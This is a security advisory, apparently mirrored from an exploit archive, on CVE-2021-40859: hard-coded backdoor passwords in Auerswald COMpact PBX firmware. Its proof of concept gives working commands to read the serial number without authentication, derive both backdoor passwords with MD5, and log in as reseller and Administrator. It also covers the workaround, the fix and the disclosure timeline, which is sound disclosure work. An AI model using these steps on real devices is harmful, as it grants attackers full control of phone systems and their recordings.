Auerswald COMpact 8.0B Exploit, Multiple Backdoors

# Exploit Title: Auerswald COMpact 8.0B - Multiple Backdoors
# Date: 06/12/2021
# Exploit Author: RedTeam Pentesting GmbH

Advisory: Auerswald COMpact Multiple Backdoors


RedTeam Pentesting discovered several backdoors in the firmware for the
Auerswald COMpact 5500R PBX. These backdoors allow attackers who are
able to access the web-based management application full administrative
access to the device.


Details
=======

Product: COMpact 3000 ISDN, COMpact 3000 analog, COMpact 3000 VoIP, COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")
Affected Versions: <= 8.0B (COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX)), <= 4.0S (COMpact 3000 ISDN, COMpact 3000 analog, COMpact 3000 VoIP)
Fixed Versions: 8.2B, 4.0T
Vulnerability Type: Backdoor
Security Risk: high
Vendor URL: https://www.auerswald.de/en/product/compact-5500r
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-007
Advisory Status: published
CVE: CVE-2021-40859
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40859


Introduction
============

"Fully modular VoIP appliance for more efficient communication processes
With the COMpact 5500R, you are originally equipped for everyday
business - now and in the future.

The fully modular architecture with 80 IP channels and all the functions
of a large ITC server allows up to 112 subscribers and thus scales with
your company.

Continuous maintanance and expansion of the system software makes this
versatile IP server a future-proof investment in any business
communication."

(from the vendor's homepage)


More Details
============

Two backdoor passwords were found in the firmware of the COMpact 5500R
PBX. One backdoor password is for the secret user "Schandelah", the
other can be used for the highest-privileged user "Admin". No way was
discovered to disable these backdoors.


Proof of Concept
================

The firmware for the COMpact 5500R can be downloaded from the vendor's
homepage[1]. The following details refer to firmware version 7.8A, but
the latest firmware at the time of writing (8.0B) is affected as well.

Inspecting the downloaded file reveals that it is compressed and can be
extracted with the program "gunzip":

------------------------------------------------------------------------
$ file 7_8A_002_COMpact5500.rom
7_8A_002_COMpact5500.rom: gzip compressed data, last modified: Wed Sep 23
15:04:43 2020, from Unix, original size 196976698

$ mv 7_8A_002_COMpact5500.rom 7_8A_002_COMpact5500.gz

$ gunzip 7_8A_002_COMpact5500.gz
------------------------------------------------------------------------

Analysing the resulting file again shows that it is an image file in the
format required by the bootloader "Das U-Boot"[2], a popular bootloader
for embedded devices:

------------------------------------------------------------------------
$ file 7_8A_002_COMpact5500.rom

7_8A_002_COMpact5500.rom: u-boot legacy uImage, CP5500 125850, Linux/ARM,
Multi-File Image (Not compressed), 196976634 bytes, Wed Sep 23 15:04:38
2020, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0
xCECA93E8, Data CRC: 0x99E65DF1
------------------------------------------------------------------------

The program "dumpimage" (included with u-boot) can be used to list the
partitions in the image file:

------------------------------------------------------------------------
$ dumpimage -l 7_8A_002_COMpact5500.rom
Image Name:
CP5500 125850
Created:
Wed Sep 23 17:04:38 2020
Image Type:
ARM Linux Multi-File Image (uncompressed)
Data Size:
196976634 Bytes = 192359.99 KiB = 187.85 MiB
Load Address: 00000000
Entry Point: 00000000
Contents:
Image 0: 512 Bytes = 0.50 KiB = 0.00 MiB
Image 1: 196976110 Bytes = 192359.48 KiB = 187.85 MiB
------------------------------------------------------------------------

The larger partition then was extracted into the file "rootfs" as
follows:

------------------------------------------------------------------------
$ dumpimage -i 7_8A_002_COMpact5500.rom -p 1 rootfs
------------------------------------------------------------------------

Contained in the file is an ext2-compatible file system, which was
mounted at "/mnt" and inspected:

------------------------------------------------------------------------
$ file rootfs

rootfs: Linux rev 1.0 ext2 filesystem data, UUID=c3604712-a2ca-412f-81ca-
f302d7f20ef1, volume name "7.8A_002_125850."

$ sudo mount -o loop,ro rootfs /mnt

$ cat /mnt/etc/passwd
root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false
------------------------------------------------------------------------

The PBX runs the web server lighttpd[3], the configuration files can be
found in the folder "/opt/auerswald/lighttpd". The web server forwards
most requests via FastCGI to the program "/opt/auerswald/web/webserver".
This program can then be analysed, for example using the reverse
engineering program Ghidra[4].

The manual for the PBX reveals that in order to manage the device, users
need to log in with the username "sub-admin". When this string is
searched within the program in Ghidra, the function which checks
passwords on login can be identified.

It can easily be seen that besides the username "sub-admin" the function
also checks for the hard-coded username "Schandelah", which is the
village of Auerswald's headquarter. Further analysis revealed that the
corresponding password for this username is derived by concatenating the
PBX's serial number, the string "r2d2" and the current date, hashing it
with the MD5 hash algorithm and taking the first seven lower-case hex
chars of the result.

All data needed to derive the password can be accessed without
authentication by requesting the path "/about_state", which is also used
on the website the PBX redirects users to who abort the password prompt
(shortened and formatted to increase readability):

------------------------------------------------------------------------
$ curl --include https://192.168.1.2/about_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{
  "pbx": "COMpact 5500R",
  "pbxType": 35,
  "pbxId": 0,
  "version": "Version 7.8A - Build 002  ",
  "serial": "1234123412",
  "date": "30.08.2021",
  [...]
}
------------------------------------------------------------------------

The password can be derived as follows:

------------------------------------------------------------------------
$ echo -n 1234123412r2d230.08.2021 | md5sum | egrep -o '^.{7}'
1432d89
------------------------------------------------------------------------

This password can then be used for authentication:

------------------------------------------------------------------------
$ curl --include --user 'Schandelah:1432d89' --anyauth \
  https://192.168.1.2/tree

HTTP/1.1 302 Found
Location: /statics/html/page_servicetools.html
Set-Cookie: AUERSessionID1234123412=AXCTMGGCCUAGBSE; HttpOnly; Path=/
[...]
------------------------------------------------------------------------

Next, the endpoint "/logstatus_state" can be queried using the returned
session ID to check the access level:

------------------------------------------------------------------------
% curl --cookie 'AUERSessionID1234123412=AXCTMGGCCUAGBSE' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Haendler"}
------------------------------------------------------------------------

The returned access level is "Haendler" (reseller). After login, the web
server redirects to a special service page at the path
"/statics/html/page_servicetools.html". Among other things, it allows to
download a backup of all data on the device, configure audio recording
and reset the password, PIN and token for the user "Admin". Accessing
regular administrative functions is not possible directly with this user
account.

When inspecting the password checking function, a second backdoor can be
found. When the username "Admin" is specified, the given password is
tested against the configured password as well as a password derived in
a similar way from the PBX's serial number, the string "r2d2", the
current date and the configured language. The MD5 hash is taken and the
specified password is tested against the first seven characters of the
lower case hexadecimal hash.

The backdoor password for the "Admin" user can be calculated as follows:

------------------------------------------------------------------------
$ echo -n 1234123412r2d230.08.2021DE | md5sum | egrep -o '^.{7}'
92fcdd9
------------------------------------------------------------------------

The server returns a session ID for that password and the username
"Admin":

------------------------------------------------------------------------
$ curl --user 'Admin:92fcdd9' --anyauth --include \
  https://192.168.1.2/tree

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=MLJHCDLPMXPNKWY; HttpOnly; Path=/
[...]

[{"login":3,"userId":0,"userName":"",[...]}]
------------------------------------------------------------------------

Checking the access level of the session reveals the status
"Administrator":

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=MLJHCDLPMXPNKWY' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Administrator"}
------------------------------------------------------------------------


Workaround
==========

Disable or restrict access to the web-based management interface if
possible.


Fix
===

Upgrade to a firmware version which corrects this vulnerability.


Security Risk
=============

By inspecting the firmware for the COMpact 5500R PBX, attackers can
easily discover two backdoor passwords. One password is for the secret
user account with the username "Schandelah", the other works as an
alternative password for the user "Admin". Using the backdoor, attackers
are granted access to the PBX with the highest privileges, enabling them
to completely compromise the device. The passwords are derived from the
serial number, the current date and the configured language.

The backdoor passwords are not documented. They secretly coexist with a
documented password recovery function supported by the vendor. No way
was found to disable the backdoor access.

All information needed to derive the passwords can be requested over the
network without authentication, so attackers only require network access
to the web-based management interface.

Due to the ease of exploitation and severe consequences, the backdoor
passwords are rated as a high risk.


Timeline
========

2021-08-26 Vulnerability identified
2021-09-01 Customer approved disclosure to vendor
2021-09-10 Vendor notified
2021-09-10 CVE ID requested
2021-09-10 CVE ID assigned
2021-10-05 Vendor provides access to device with fixed firmware
2021-10-11 Vendor provides fixed firmware
2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected
2021-12-06 Advisory published


References
==========

[1] https://www.auerswald.de/de/support/download/firmware-compact-5500
[2] https://www.denx.de/wiki/U-Boot
[3] https://www.lighttpd.net
[4] https://ghidra-sre.org


RedTeam Pentesting GmbH
=======================

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=============================

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